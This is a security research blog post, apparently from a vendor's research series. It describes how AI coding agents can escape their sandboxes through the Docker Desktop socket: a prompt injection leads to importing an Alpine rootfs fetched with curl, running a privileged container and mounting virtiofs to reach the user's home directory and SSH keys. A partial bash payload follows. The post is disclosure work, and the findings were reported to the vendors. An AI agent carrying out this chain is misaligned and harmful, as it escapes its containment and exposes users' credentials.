The Week of Sandbox Escapes Day 2: One Docker socket to rule them all: escaping Codex, Cursor, and Gemini CLI's sandboxes

Introducing SAIL 2.0 Framework: A Practical Guide to Secure AI Agents

Introducing SAIL 2.0 Framework: A Practical Guide to Secure AI Agents

Explore

Resources

Company

menu<br>Platform<br>Redgraph<br>Solutions

Resources

Company

Get a demo

Platform (5)<br>Platform overview<br>AI Discovery & PostureRed Teaming & Attack Surface ExposureRuntime GuardrailsGovernance & Compliance<br>Latest Announcement<br>Pillar Security Named as a 2026 Gartner® Cool Vendor in AI Software Security

Platform<br>Solutions (5)<br>Solutions

Use cases<br>Homegrown AIAgentic EndpointAI Gateway SecurityMCP & Tool SecurityAgentic AI SecurityEmbedded-AI<br>Industry

HealthcareFinancialTechnology

Resources (4)

Resources

BlogPillar ResearchSAIL 2.0 Framework

Latest Resource<br>The Week of Sandbox Escapes

Company (4)<br>Company

About UsNewsroomPartnersCareers

Get a demo

Get a demo

Blog<br>RESEARCH

min read

The Week of Sandbox Escapes Day 2: One Docker socket to rule them all: escaping Codex, Cursor, and Gemini CLI's sandboxes

By<br>Pillar Research Team

and

July 20, 2026

min read

This post is part of The Week of Sandbox Escapes, a series on how AI coding agents keep crossing the line between sandboxed workspace actions and unsandboxed host execution. Read the master report here.<br>Previously, in our post regarding antigravity’s sandbox-exec implementation(which if you haven’t read I suggest you do so now) we discussed that the developers decided to us (allow default) setting on antigravit’s seatbelt profile, we then established that this setting which uses the “deny-list” design pattern is more of a suggestion rather than a restriction. You can keep bolting deny rules onto a yes-unless-I-said-no policy forever and you'll keep finding new tricks to bypass it. The short-term fix would be to create an allow-list, which in a seatbelt profile starts with the (deny default) setting and allows back only what the agent absolutely needs to operate properly.<br>So the obvious next question was what happens when a vendor actually does that. Codex CLI, Cursor, and Gemini CLI all made the careful call. Their profiles start closed, On paper, the door I walked through on Antigravity is nailed shut.<br>It is. So you go find a different door.<br>That door is Docker Desktop, and it's installed on basically every Mac that runs one of these agents. I discovered a universal vulnerability that affected the (deny default) setting and I sent the same finding to all three vendors. The interesting part is that three teams looked at one near-identical chain and returned three different answers: one fixed it, one filed it as informational, and one told me it was already in the docs.<br>What deny-default doesn't buy you<br>A closed profile controls what the agent's own process can ask the kernel for. It does not control what a privileged local daemon will do on the agent's behalf. Those are different questions, and Docker Desktop lives entirely inside the gap.<br>Run any of these agents with its sandbox on and network access on, and writes are pinned to your workspace and temp directories. That's the promise. The daemon that undoes it is already running and its Docker Desktop.<br>Here's the chain, and it's the same chain on all three products:<br>The sandbox blocks file writes outside the workspace. It does not block process execution, file reads, or outbound network(unless disabled). That combination is all you need.<br>It lets you execute any binary, including the docker CLI.<br>It lets you read any file, including the Docker socket. Read plus write on that socket is effectively root over the daemon. On macOS the connect() to that Unix socket is classified as a network operation, which matters in a second.<br>Network access lets you curl a container rootfs tarball into the workspace and docker import it. No registry pull, so the sandbox's image restrictions never fire.<br>docker run --privileged with a bind mount pointed at a directory the sandbox already permits. Nothing trips.<br>Inside the privileged container, mount -t virtiofs virtiofs0 ~/mac-home. VirtioFS is Docker Desktop's own host-sharing mechanism, and it hands you the user's entire home directory with read and write.<br>The escape happens inside the Docker VM, which is outside the sandbox's jurisdiction. From the agent's point of view nothing illegal occurred. Every write is being made in the allowed workspace. SSH keys, credentials, browser data, all of it, one curl away.<br>The payload<br>First an attacker detects the architecture, pulls an Alpine minirootfs over curl, and docker import it as a local image so the registry restrictions never come into play, all done with a simple prompt injection:

#!/bin/bash

set -e

echo "--- 1. Manual Alpine Image Import ---"

ARCH=$(uname -m)

if [ "$ARCH" = "x86_64" ]; then

ALPINE_URL="https://dl-cdn.alpinelinux.org/alpine/v3.19/releases/x86_64/alpine-minirootfs-3.19.1-x86_64.tar.gz"

else...